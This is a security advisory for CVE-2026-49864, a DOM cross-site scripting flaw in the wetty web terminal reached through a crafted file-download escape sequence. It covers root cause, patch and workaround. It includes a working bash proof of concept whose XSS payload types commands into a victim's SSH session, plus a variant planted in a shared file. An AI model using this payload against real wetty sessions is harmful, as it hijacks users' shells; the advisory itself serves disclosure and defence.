highCVE-2026-49864Jul 1, 2026

CVE-2026-49864: wetty DOM XSS via File-Download Filename

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted terminal escape sequence lets anyone who can write output to a wetty session inject HTML into the browser and silently type arbitrary commands into the victim's SSH shell.

Packagewetty
Ecosystemnpm
Affected< 3.0.4
Fixed in3.0.4

The problem

wetty's file-download feature reads a base64-encoded filename from the escape sequence \x1b[5i<b64-name>:<b64-content>\x1b[4i and decodes it with window.atob. The decoded string is then placed directly into a Toastify notification rendered with escapeMarkup: false, making it a raw HTML sink.

Any output the victim renders in their browser terminal can carry the payload: a cat'd file, a tailed log, an SSH MOTD, or a curl response. Successful exploitation lets the attacker read the terminal buffer and type arbitrary commands into the victim's live SSH session via window.wetty_term.input().

Proof of concept

A working proof-of-concept for CVE-2026-49864 in wetty, with the exact payload below.

bash
# Run inside the victim's wetty SSH session (or plant in any file the victim cats)
PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">>'
FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
DATA_B64=$(printf 'bait' | base64 -w0)
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"

# Cross-user variant: plant in a shared file, wait for privileged user to cat it
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt

The root cause is an unsanitized data flow: window.atob(fileNameBase64) produces attacker-controlled text, and that text flows straight into a template string passed to Toastify({ text: ..., escapeMarkup: false }). No HTML encoding runs between the decode and the DOM insertion, so any HTML characters in the filename become live markup (CWE-79).

The patch introduced a safeName helper that replaces & < > " ' with their HTML entities before the filename is interpolated into the Toastify text string. Both uses of fileName in the template, the download attribute value and the visible link text, are replaced with safeName, closing the sink.

The fix

Upgrade wetty to version 3.0.4 or later. The fix HTML-escapes the decoded filename before it is inserted into the Toastify markup. If an immediate upgrade is not possible, a short-term workaround is to disable the file-download feature or proxy wetty behind a reverse proxy that strips terminal escape sequences from PTY output.

Reporter not attributed.

References: [1][2]

Related research